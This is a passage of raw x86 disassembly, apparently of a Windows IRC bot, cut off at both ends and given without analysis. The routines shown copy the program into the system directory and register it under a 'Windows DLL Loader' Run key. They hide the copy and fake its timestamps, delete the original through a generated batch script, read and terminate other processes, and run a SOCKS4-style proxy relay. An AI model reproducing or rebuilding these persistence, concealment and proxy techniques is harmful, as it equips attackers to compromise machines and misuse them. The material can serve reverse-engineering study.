sub_403F1D+1E3j cmp eax, 1 jbe short loc_40410E cmp [ebp+eax+var_125], 5Ch jz short loc_404104 dec eax jnz short loc_4040F0 jmp short loc_40410E ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_403F1D+1E0j mov ecx, [esi+4] mov [ebx+ecx+110h], eax loc_40410E: ; CODE XREF: sub_403F1D+1A0j ; sub_403F1D+1A9j ... push [ebp+var_8] loc_404111: ; CODE XREF: sub_403F1D+141j call ds:dword_4110AC ; CloseHandle loc_404117: ; CODE XREF: sub_403F1D+11Dj add ebx, 114h dec [ebp+var_4] jnz loc_404020 loc_404126: ; CODE XREF: sub_403F1D+22j ; sub_403F1D+F8j push offset dword_417FE0 call sub_406AEF pop ecx mov eax, esi pop edi pop esi pop ebx leave retn sub_403F1D endp ; =============== S U B R O U T I N E ======================================= sub_404138 proc near ; CODE XREF: sub_4011C4+27Bp arg_0 = dword ptr 4 push [esp+arg_0] call sub_410832 ; free pop ecx retn sub_404138 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404143 proc near ; DATA XREF: sub_404202+2Fo var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A8h push esi push edi push 1A7h lea eax, [ebp+var_1A8] push [ebp+arg_0] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free add esp, 10h call sub_403F1D mov esi, eax xor edi, edi cmp esi, edi jz short loc_4041EE mov eax, [ebp+var_1A8] push ebx push dword ptr [esi] push dword ptr [eax] lea eax, [ebp+var_1A4] push offset dword_412AE8 push eax call sub_408D50 add esp, 10h xor ebx, ebx cmp [esi], edi jle short loc_4041E6 loc_40419F: ; CODE XREF: sub_404143+A1j push 3E8h call ds:dword_4110A4 ; Sleep mov eax, [esi+4] add eax, edi lea ecx, [eax+0Ch] push ecx push dword ptr [eax+8] push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_1A4] push offset dword_412AD0 push eax call sub_408D50 mov eax, [ebp+var_1A8] add esp, 18h cmp dword ptr [eax+4], 0 jnz short loc_4041E6 inc ebx add edi, 114h cmp ebx, [esi] jl short loc_40419F loc_4041E6: ; CODE XREF: sub_404143+5Aj ; sub_404143+96j push esi call sub_410832 ; free pop ecx pop ebx loc_4041EE: ; CODE XREF: sub_404143+35j push [ebp+var_1A8] call sub_406753 pop ecx pop edi xor eax, eax pop esi leave retn 4 sub_404143 endp ; =============== S U B R O U T I N E ======================================= sub_404202 proc near ; CODE XREF: sub_40735A+2BAp arg_0 = dword ptr 4 push esi push 1A7h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40423E push 1A3h lea eax, [esi+4] push [esp+8+arg_0] push eax call sub_410838 ; memcpy add esp, 0Ch push offset dword_412B10 push 0 push esi push offset sub_404143 call sub_40663C add esp, 10h loc_40423E: ; CODE XREF: sub_404202+10j pop esi retn sub_404202 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404240 proc near ; CODE XREF: sub_40735A+3C2p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx push esi push edi jz loc_404312 cmp [ebp+arg_C], 0 jz loc_404312 push [ebp+arg_4] call sub_41088C ; atoi push [ebp+arg_8] mov ebx, eax call sub_407290 push [ebp+arg_C] mov [ebp+arg_8], eax call sub_41088C ; atoi mov esi, eax mov eax, 180h add esp, 0Ch cmp esi, eax jbe short loc_404287 mov esi, eax loc_404287: ; CODE XREF: sub_404240+43j lea eax, [esi+1] push eax call sub_41082C ; malloc pop ecx mov edi, eax push ebx xor ebx, ebx push ebx push 10h call ds:dword_41109C ; OpenProcess cmp eax, ebx mov [ebp+arg_C], eax jnz short loc_4042AF push edi call sub_410832 ; free pop ecx jmp short loc_404312 ; --------------------------------------------------------------------------- loc_4042AF: ; CODE XREF: sub_404240+64j lea ecx, [ebp+arg_4] mov [ebp+arg_4], ebx push ecx push esi push edi push [ebp+arg_8] push eax call ds:dword_4110A0 ; ReadProcessMemory test eax, eax jz short loc_404302 cmp [ebp+arg_4], ebx jz short loc_404302 and byte ptr [edi+esi], 0 xor ecx, ecx cmp [ebp+arg_4], ebx jbe short loc_4042F7 loc_4042D6: ; CODE XREF: sub_404240+B5j mov al, [ecx+edi] cmp al, 0Ah jz short loc_4042ED cmp al, 0Dh jz short loc_4042ED cmp al, 1Fh jz short loc_4042ED cmp al, 16h jz short loc_4042ED cmp al, 10h jg short loc_4042F1 loc_4042ED: ; CODE XREF: sub_404240+9Bj ; sub_404240+9Fj ... mov byte ptr [ecx+edi], 2Eh loc_4042F1: ; CODE XREF: sub_404240+ABj inc ecx cmp ecx, [ebp+arg_4] jb short loc_4042D6 loc_4042F7: ; CODE XREF: sub_404240+94j push edi push [ebp+arg_0] call sub_408D50 pop ecx pop ecx loc_404302: ; CODE XREF: sub_404240+84j ; sub_404240+89j push edi call sub_410832 ; free pop ecx push [ebp+arg_C] call ds:dword_4110AC ; CloseHandle loc_404312: ; CODE XREF: sub_404240+Aj ; sub_404240+14j ... pop edi pop esi pop ebx pop ebp retn sub_404240 endp ; =============== S U B R O U T I N E ======================================= sub_404317 proc near ; CODE XREF: sub_40735A+2A1p arg_4 = dword ptr 8 cmp [esp+arg_4], 0 push esi jz short loc_404352 push [esp+4+arg_4] call sub_41088C ; atoi pop ecx mov esi, eax call ds:dword_4110F0 ; GetCurrentProcessId cmp esi, eax jz short loc_404352 push esi push 0 push 1 call ds:dword_41109C ; OpenProcess mov esi, eax push 0 push esi call ds:dword_4110A8 ; TerminateProcess push esi call ds:dword_4110AC ; CloseHandle loc_404352: ; CODE XREF: sub_404317+6j ; sub_404317+1Cj pop esi retn sub_404317 endp ; =============== S U B R O U T I N E ======================================= sub_404354 proc near ; CODE XREF: sub_402EFD+10Bp ; sub_40735A+9Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] xor esi, esi loc_40435C: ; CODE XREF: sub_404354+1Aj push 7Ah push 61h call sub_40AADE mov [esi+edi], al inc esi pop ecx cmp esi, 8 pop ecx jl short loc_40435C and byte ptr [edi+8], 0 mov edi, [esp+8+arg_4] xor esi, esi loc_40437A: ; CODE XREF: sub_404354+38j push 7Ah push 61h call sub_40AADE mov [esi+edi], al inc esi pop ecx cmp esi, 6 pop ecx jl short loc_40437A and byte ptr [edi+6], 0 mov edi, [esp+8+arg_8] xor esi, esi loc_404398: ; CODE XREF: sub_404354+56j push 7Ah push 61h call sub_40AADE mov [esi+edi], al inc esi pop ecx cmp esi, 10h pop ecx jl short loc_404398 and byte ptr [edi+10h], 0 pop edi pop esi retn sub_404354 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043B3 proc near ; CODE XREF: sub_40735A+703p var_414 = byte ptr -414h var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 414h push ebx push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_4045DF cmp byte ptr [edi+4], 5Ch jnz loc_4045DF push 4 pop esi push esi push offset aHkcr ; "HKCR" push edi call sub_410CA0 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4043F3 mov [ebp+arg_4], 80000000h jmp short loc_404449 ; --------------------------------------------------------------------------- loc_4043F3: ; CODE XREF: sub_4043B3+35j push esi push offset aHkcu ; "HKCU" push edi call sub_410CA0 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40440F mov [ebp+arg_4], 80000001h jmp short loc_404449 ; --------------------------------------------------------------------------- loc_40440F: ; CODE XREF: sub_4043B3+51j push esi push offset aHklm ; "HKLM" push edi call sub_410CA0 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40442B mov [ebp+arg_4], 80000002h jmp short loc_404449 ; --------------------------------------------------------------------------- loc_40442B: ; CODE XREF: sub_4043B3+6Dj push esi push offset aHkus ; "HKUS" push edi call sub_410CA0 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_4045DF mov [ebp+arg_4], 80000003h loc_404449: ; CODE XREF: sub_4043B3+3Ej ; sub_4043B3+5Aj ... add edi, 5 push edi call sub_410826 ; strlen mov esi, eax pop ecx test esi, esi jz loc_4045DF loc_40445D: ; CODE XREF: sub_4043B3+B1j cmp byte ptr [esi+edi], 5Ch jz short loc_40446B dec esi jnz short loc_40445D jmp loc_4045DF ; --------------------------------------------------------------------------- loc_40446B: ; CODE XREF: sub_4043B3+AEj lea eax, [esi+edi+1] push eax call sub_410826 ; strlen mov ebx, 200h pop ecx cmp eax, ebx jnb loc_4045DF lea eax, [esi+edi+1] push eax lea eax, [ebp+var_414] push eax call sub_410820 ; _mbscpy pop ecx cmp esi, ebx pop ecx jnb loc_4045DF push esi lea eax, [ebp+var_214] push edi push eax call sub_410838 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] and [ebp+esi+var_214], 0 push eax push 1 lea eax, [ebp+var_214] push 0 push eax push [ebp+arg_4] call ds:dword_411000 ; RegOpenKeyExA test eax, eax jnz loc_4045DF mov eax, 1000h push eax mov [ebp+var_C], eax call sub_41082C ; malloc mov esi, eax pop ecx lea eax, [ebp+var_C] mov [ebp+var_10], esi push eax lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_414] push 0 push eax push [ebp+var_14] call ds:dword_41100C ; RegQueryValueExA test eax, eax jnz loc_4045CF cmp [ebp+var_8], 1 mov ebx, offset dword_412B30 jz short loc_40451F cmp [ebp+var_8], 2 jnz short loc_40452C loc_40451F: ; CODE XREF: sub_4043B3+164j push esi push ebx push [ebp+arg_0] call sub_408D50 add esp, 0Ch loc_40452C: ; CODE XREF: sub_4043B3+16Aj cmp [ebp+var_8], 4 jnz short loc_404544 push dword ptr [esi] push offset dword_412B28 push [ebp+arg_0] call sub_408D50 add esp, 0Ch loc_404544: ; CODE XREF: sub_4043B3+17Dj cmp [ebp+var_8], 3 jnz loc_4045CF mov edi, 180h push edi call sub_41082C ; malloc and [ebp+var_4], 0 mov esi, eax pop ecx and byte ptr [esi], 0 cmp [ebp+var_C], 0 jbe short loc_4045B9 loc_404569: ; CODE XREF: sub_4043B3+204j mov eax, [ebp+var_10] mov ecx, [ebp+var_4] movzx eax, byte ptr [ecx+eax] push eax lea eax, [ebp+arg_4] push offset dword_412B20 push eax call sub_410844 ; sprintf push esi call sub_410826 ; strlen add eax, 3 add esp, 10h cmp eax, edi jb short loc_4045A2 push esi push ebx push [ebp+arg_0] call sub_408D50 add esp, 0Ch and byte ptr [esi], 0 loc_4045A2: ; CODE XREF: sub_4043B3+1DDj lea eax, [ebp+arg_4] push eax push esi call sub_410856 ; _mbscat inc [ebp+var_4] pop ecx mov eax, [ebp+var_4] pop ecx cmp eax, [ebp+var_C] jb short loc_404569 loc_4045B9: ; CODE XREF: sub_4043B3+1B4j push esi push ebx push [ebp+arg_0] call sub_408D50 push esi call sub_410832 ; free mov esi, [ebp+var_10] add esp, 10h loc_4045CF: ; CODE XREF: sub_4043B3+155j ; sub_4043B3+195j push esi call sub_410832 ; free pop ecx push [ebp+var_14] call ds:dword_411028 ; RegCloseKey loc_4045DF: ; CODE XREF: sub_4043B3+11j ; sub_4043B3+1Bj ... pop edi pop esi pop ebx leave retn sub_4043B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045E4 proc near ; CODE XREF: sub_4088FC:loc_408A4Dp ; sub_408F9D:loc_409243p var_208 = byte ptr -208h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 208h push esi lea eax, [ebp+var_104] push 104h push eax call ds:dword_411054 ; GetSystemDirectoryA lea eax, [ebp+var_104] push offset dword_412DB0 push eax call sub_410856 ; _mbscat lea eax, [ebp+var_208] push offset dword_417978 push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_208] push eax call sub_40AC4E lea eax, [ebp+var_208] push eax lea eax, [ebp+var_104] push eax call sub_410856 ; _mbscat add esp, 1Ch lea eax, [ebp+var_104] push eax call ds:dword_4110B8 ; DeleteFileA lea eax, [ebp+var_104] push offset dword_4122AC push eax call sub_41086E ; fopen mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40468E push esi push 1 push 2 push offset dword_412DAC call sub_410862 ; fwrite push esi call sub_410868 ; fclose lea eax, [ebp+var_104] push eax call sub_404715 add esp, 18h loc_40468E: ; CODE XREF: sub_4045E4+84j pop esi leave retn sub_4045E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404691 proc near ; CODE XREF: sub_4088FC+117p ; sub_408F9D+26Cp var_208 = byte ptr -208h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 208h lea eax, [ebp+var_104] push 104h push eax call ds:dword_411054 ; GetSystemDirectoryA lea eax, [ebp+var_104] push offset dword_412DB0 push eax call sub_410856 ; _mbscat lea eax, [ebp+var_208] push offset dword_417978 push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_208] push eax call sub_40AC4E lea eax, [ebp+var_208] push eax lea eax, [ebp+var_104] push eax call sub_410856 ; _mbscat lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_41086E ; fopen add esp, 24h test eax, eax jz short loc_404711 push eax call sub_410868 ; fclose pop ecx push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_404711: ; CODE XREF: sub_404691+72j xor eax, eax leave retn sub_404691 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404715 proc near ; CODE XREF: sub_4045E4+A2p ; sub_4049B5+1B5p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi push edi lea eax, [ebp+var_11C] push 104h push eax call ds:dword_411044 ; GetWindowsDirectoryA lea eax, [ebp+var_11C] push offset dword_412DB4 push eax call sub_410856 ; _mbscat pop ecx mov esi, ds:dword_411048 pop ecx mov edi, 80h push 0 push edi push 3 push 0 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4047BB lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_41104C ; GetFileTime push ebx mov ebx, ds:dword_4110AC call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4047BB lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_411050 ; SetFileTime push esi call ebx ; CloseHandle loc_4047BB: ; CODE XREF: sub_404715+58j ; sub_404715+8Ej pop edi pop esi pop ebx leave retn sub_404715 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4047C0 proc near ; CODE XREF: sub_4049B5+139p ; sub_4049B5+16Fp ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push esi xor esi, esi lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call ds:dword_411014 ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_40484B lea eax, [ebp+var_108] push 104h push eax call ds:dword_411054 ; GetSystemDirectoryA lea eax, [ebp+var_108] push offset dword_412DB0 push eax call sub_410856 ; _mbscat push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_410856 ; _mbscat add esp, 10h lea eax, [ebp+var_108] push eax call ds:dword_411040 ; lstrlen inc eax push eax lea eax, [ebp+var_108] push eax push 1 push esi push [ebp+arg_4] push [ebp+var_4] call ds:dword_411010 ; RegSetValueExA jmp short loc_404857 ; --------------------------------------------------------------------------- loc_40484B: ; CODE XREF: sub_4047C0+2Dj push [ebp+arg_4] push [ebp+var_4] call ds:dword_411004 ; RegDeleteValueA loc_404857: ; CODE XREF: sub_4047C0+89j push [ebp+var_4] call ds:dword_411028 ; RegCloseKey pop esi leave retn sub_4047C0 endp ; =============== S U B R O U T I N E ======================================= sub_404863 proc near ; CODE XREF: sub_40488C+2Bp ; sub_4049B5+1C1p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi mov edi, esi call sub_410826 ; strlen pop ecx xor ecx, ecx test eax, eax jbe short loc_404887 loc_404878: ; CODE XREF: sub_404863+22j cmp byte ptr [ecx+esi], 5Ch jnz short loc_404882 lea edi, [ecx+esi+1] loc_404882: ; CODE XREF: sub_404863+19j inc ecx cmp ecx, eax jb short loc_404878 loc_404887: ; CODE XREF: sub_404863+13j mov eax, edi pop edi pop esi retn sub_404863 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40488C proc near ; CODE XREF: sub_4049B5+Cp ; sub_404BC3+Cp var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 104h lea eax, [ebp+var_104] push 104h push eax push 0 call ds:dword_411094 ; GetModuleHandleA push eax call ds:dword_411098 ; GetModuleFileNameA lea eax, [ebp+var_104] push eax call sub_404863 and byte ptr [eax], 0 pop ecx lea eax, [ebp+var_104] push eax call ds:dword_41103C ; SetCurrentDirectoryA leave retn sub_40488C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048CF proc near ; CODE XREF: sub_4049B5+1C7p ; sub_404BC3+C2p ... var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi push 8 push 4 call sub_40AADE push 7Ah push 61h mov edi, eax call sub_40AADE add esp, 10h mov [ebp+var_14], al push 1 pop esi cmp edi, esi jz short loc_40490D loc_4048F9: ; CODE XREF: sub_4048CF+3Cj push 7Ah push 61h call sub_40AADE mov [ebp+esi+var_14], al inc esi pop ecx cmp esi, edi pop ecx jnz short loc_4048F9 loc_40490D: ; CODE XREF: sub_4048CF+28j lea eax, [ebp+esi+var_14] push offset a_bat ; ".bat" push eax call sub_410820 ; _mbscpy mov edi, [ebp+arg_0] push edi call sub_410826 ; strlen push 400h call sub_41082C ; malloc add esp, 10h mov ebx, eax lea eax, [ebp+var_14] push eax call ds:dword_4110B8 ; DeleteFileA xor esi, esi lea eax, [ebp+var_14] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_411048 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_404961 xor eax, eax jmp short loc_4049B0 ; --------------------------------------------------------------------------- loc_404961: ; CODE XREF: sub_4048CF+8Cj lea eax, [ebp+var_14] push eax push edi push edi push edi push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push ebx call ds:dword_4111EC ; wsprintfA add esp, 18h lea eax, [ebp+var_4] mov [ebp+var_4], esi push esi push eax push ebx call sub_410826 ; strlen pop ecx push eax push ebx push [ebp+arg_0] call ds:dword_411070 ; WriteFile push [ebp+arg_0] call ds:dword_4110AC ; CloseHandle push esi push esi lea eax, [ebp+var_14] push esi push eax push offset aOpen ; "open" push esi call ds:dword_4111E4 push 1 pop eax loc_4049B0: ; CODE XREF: sub_4048CF+90j pop edi pop esi pop ebx leave retn sub_4048CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4049B5 proc near ; CODE XREF: seg000:loc_4106E4p var_36C = byte ptr -36Ch var_268 = byte ptr -268h var_164 = byte ptr -164h var_60 = dword ptr -60h var_30 = word ptr -30h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 36Ch push ebx push esi push edi call sub_40488C mov esi, 104h lea eax, [ebp+var_36C] push esi xor ebx, ebx push eax push ebx call ds:dword_411094 ; GetModuleHandleA push eax call ds:dword_411098 ; GetModuleFileNameA cmp off_412B54, ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx jz short loc_404A65 mov edi, offset off_412B54 mov [ebp+var_C], edi loc_4049F9: ; CODE XREF: sub_4049B5+AEj inc [ebp+var_4] lea eax, [ebp+var_268] push esi push eax call ds:dword_411054 ; GetSystemDirectoryA lea eax, [ebp+var_268] push offset dword_412DB0 push eax call sub_410856 ; _mbscat push dword ptr [edi] call sub_40AC4E push dword ptr [edi] lea eax, [ebp+var_268] push eax call sub_410856 ; _mbscat push dword ptr [edi] call sub_40AC15 lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_268] push eax call sub_410C94 ; _strcmpi add esp, 20h test eax, eax jz loc_404AF8 mov edi, [ebp+var_C] inc [ebp+var_8] add edi, 8 mov [ebp+var_C], edi cmp [edi], ebx jnz short loc_4049F9 loc_404A65: ; CODE XREF: sub_4049B5+3Aj push [ebp+var_4] push ebx call sub_40AADE pop ecx mov edi, eax pop ecx lea eax, [ebp+var_164] push esi push eax call ds:dword_411054 ; GetSystemDirectoryA lea eax, [ebp+var_164] push offset dword_412DB0 push eax call sub_410856 ; _mbscat push off_412B54[edi*8] lea esi, ds:412B54h[edi*8] call sub_40AC4E push dword ptr [esi] lea eax, [ebp+var_164] push eax call sub_410856 ; _mbscat push dword ptr [esi] call sub_40AC15 add esp, 18h lea eax, [ebp+var_164] push eax call ds:dword_4110B8 ; DeleteFileA lea eax, [ebp+var_164] push ebx push eax lea eax, [ebp+var_36C] push eax call ds:dword_411068 ; CopyFileA test eax, eax jnz short loc_404B47 push offset dword_41885C push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_4047C0 add esp, 0Ch jmp short loc_404B42 ; --------------------------------------------------------------------------- loc_404AF8: ; CODE XREF: sub_4049B5+9Aj mov eax, [ebp+var_8] mov esi, eax shl esi, 3 push off_412B54[esi] call sub_40AC4E push off_412B58[esi] call sub_40AC4E push off_412B54[esi] push off_412B58[esi] push 1 call sub_4047C0 push off_412B54[esi] call sub_40AC15 push off_412B58[esi] call sub_40AC15 add esp, 1Ch loc_404B42: ; CODE XREF: sub_4049B5+141j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_404B47: ; CODE XREF: sub_4049B5+12Bj mov esi, ds:dword_4110B0 lea eax, [ebp+var_164] push 4 push eax call esi ; SetFileAttributesA lea eax, [ebp+var_164] push 2 push eax call esi ; SetFileAttributesA lea eax, [ebp+var_164] push eax call sub_404715 lea eax, [ebp+var_36C] push eax call sub_404863 push eax call sub_4048CF push 44h lea eax, [ebp+var_60] pop esi push esi push ebx push eax call sub_410850 ; memset add esp, 18h lea eax, [ebp+var_1C] mov [ebp+var_60], esi mov [ebp+var_30], bx push eax lea eax, [ebp+var_60] push eax push ebx push ebx push 28h push 1 push ebx lea eax, [ebp+var_164] push ebx push eax push ebx call ds:dword_411084 ; CreateProcessA call ds:dword_411260 ; WSACleanup push ebx call sub_4108EC ; exit sub_4049B5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404BC3 proc near ; CODE XREF: sub_402230+51Dp ; sub_40735A+A00p ... var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi call sub_40488C mov ebx, 104h lea eax, [ebp+var_20C] push ebx xor edi, edi push eax push edi call ds:dword_411094 ; GetModuleHandleA push eax call ds:dword_411098 ; GetModuleFileNameA cmp off_412B54, edi mov [ebp+var_4], edi jz short loc_404C67 mov esi, offset off_412B54 mov edi, esi loc_404C03: ; CODE XREF: sub_404BC3+A0j lea eax, [ebp+var_108] push ebx push eax call ds:dword_411054 ; GetSystemDirectoryA lea eax, [ebp+var_108] push offset dword_412DB0 push eax call sub_410856 ; _mbscat push dword ptr [esi] call sub_40AC4E push dword ptr [esi] lea eax, [ebp+var_108] push eax call sub_410856 ; _mbscat push dword ptr [esi] call sub_40AC15 lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_108] push eax call sub_410C94 ; _strcmpi add esp, 20h test eax, eax jz short loc_404CAF inc [ebp+var_4] add edi, 8 mov esi, edi cmp dword ptr [edi], 0 jnz short loc_404C03 xor edi, edi loc_404C67: ; CODE XREF: sub_404BC3+37j mov esi, offset dword_41885C push esi push offset aWindowsDllLoad ; "Windows DLL Loader" push edi call sub_4047C0 lea eax, [ebp+var_20C] push eax call sub_404863 push eax call sub_4048CF add esp, 14h test eax, eax jz loc_404D2E push esi push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_408E60 pop ecx pop ecx call ds:dword_411260 ; WSACleanup push edi call ds:dword_411064 ; ExitProcess loc_404CAF: ; CODE XREF: sub_404BC3+93j mov eax, [ebp+var_4] mov esi, eax shl esi, 3 push off_412B54[esi] call sub_40AC4E push off_412B58[esi] call sub_40AC4E push off_412B54[esi] push off_412B58[esi] push 0 call sub_4047C0 push off_412B54[esi] call sub_40AC15 push off_412B58[esi] call sub_40AC15 lea eax, [ebp+var_20C] push eax call sub_404863 push eax call sub_4048CF add esp, 24h test eax, eax jz short loc_404D2E push offset dword_41885C push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_408E60 pop ecx pop ecx call ds:dword_411260 ; WSACleanup push 0 call ds:dword_411064 ; ExitProcess loc_404D2E: ; CODE XREF: sub_404BC3+CCj ; sub_404BC3+14Aj pop edi pop esi pop ebx leave retn sub_404BC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D33 proc near ; DATA XREF: sub_404F90+F4o var_16D4 = byte ptr -16D4h var_6D4 = byte ptr -6D4h var_5D4 = dword ptr -5D4h var_5CA = byte ptr -5CAh var_5BA = byte ptr -5BAh var_427 = byte ptr -427h var_414 = byte ptr -414h var_413 = byte ptr -413h var_412 = dword ptr -412h var_40C = byte ptr -40Ch var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16D4h call sub_4108B0 push ebx push esi push edi push 1BDh push [ebp+arg_0] lea eax, [ebp+var_5D4] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free mov eax, [ebp+var_5D4] mov edi, ds:dword_411258 add esp, 10h xor ebx, ebx lea ecx, [ebp+var_414] mov [ebp+arg_0], eax push ebx push 408h push ecx push eax call edi ; recv cmp eax, ebx jz loc_404F87 cmp eax, 0FFFFFFFFh jz loc_404F87 cmp [ebp+var_414], 4 jnz short loc_404DAB cmp [ebp+var_413], 1 jnz short loc_404DAB push 1 pop esi jmp short loc_404DAD ; --------------------------------------------------------------------------- loc_404DAB: ; CODE XREF: sub_404D33+68j ; sub_404D33+71j xor esi, esi loc_404DAD: ; CODE XREF: sub_404D33+76j cmp [ebp+var_5CA], bl jz short loc_404DD3 lea eax, [ebp+var_5CA] push 10h push eax lea eax, [ebp+var_40C] push eax call sub_4108E0 ; strncmp add esp, 0Ch test eax, eax jz short loc_404DD3 xor esi, esi loc_404DD3: ; CODE XREF: sub_404D33+80j ; sub_404D33+9Cj cmp [ebp+var_427], bl jz short loc_404E1E lea eax, [ebp+var_6D4] push eax push [ebp+arg_0] call sub_403495 pop ecx cmp esi, ebx pop ecx mov eax, offset byte_417B60 jnz short loc_404DFA mov eax, offset dword_412EB8 loc_404DFA: ; CODE XREF: sub_404D33+C0j push eax movzx eax, [ebp+var_414] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_5BA] push offset dword_412E84 push eax call sub_408D50 add esp, 14h loc_404E1E: ; CODE XREF: sub_404D33+A6j cmp esi, ebx jnz short loc_404E59 push 8 lea eax, [ebp+var_414] push ebx push eax call sub_410850 ; memset lea eax, [ebp+var_414] push 8 push eax mov [ebp+var_413], 5Bh push [ebp+arg_0] call sub_403D54 push [ebp+arg_0] call sub_403D27 add esp, 1Ch jmp loc_404F87 ; --------------------------------------------------------------------------- loc_404E59: ; CODE XREF: sub_404D33+EDj lea eax, [ebp+var_C] push 0Ah push eax push [ebp+var_412] call ds:dword_411248 ; htons movzx eax, ax push eax call sub_410C9A ; _itoa add esp, 0Ch lea eax, [ebp+var_C] push 2710h push ebx push eax push [ebp+var_412+2] call ds:dword_411230 ; inet_ntoa push eax call sub_403BBB mov [ebp+var_4], eax push 8 lea eax, [ebp+var_414] push ebx push eax call sub_410850 ; memset add esp, 1Ch cmp [ebp+var_4], ebx jnz short loc_404ED5 lea eax, [ebp+var_414] push 8 push eax mov [ebp+var_413], 5Bh push [ebp+arg_0] call sub_403D54 push [ebp+arg_0] call sub_403D27 add esp, 10h jmp loc_404F87 ; --------------------------------------------------------------------------- loc_404ED5: ; CODE XREF: sub_404D33+178j lea eax, [ebp+var_414] push 8 push eax mov [ebp+var_413], 5Ah push [ebp+arg_0] call sub_403D54 add esp, 0Ch mov esi, 1000h loc_404EF5: ; CODE XREF: sub_404D33+240j push [ebp+arg_0] call sub_403424 test eax, eax pop ecx jz short loc_404F30 push ebx lea eax, [ebp+var_16D4] push esi push eax push [ebp+arg_0] call edi ; recv cmp eax, ebx jz short loc_404F75 cmp eax, 0FFFFFFFFh jz short loc_404F75 push eax lea eax, [ebp+var_16D4] push eax push [ebp+var_4] call sub_403D54 add esp, 0Ch test eax, eax jz short loc_404F75 loc_404F30: ; CODE XREF: sub_404D33+1CDj push [ebp+var_4] call sub_403424 test eax, eax pop ecx jz short loc_404F6B push ebx lea eax, 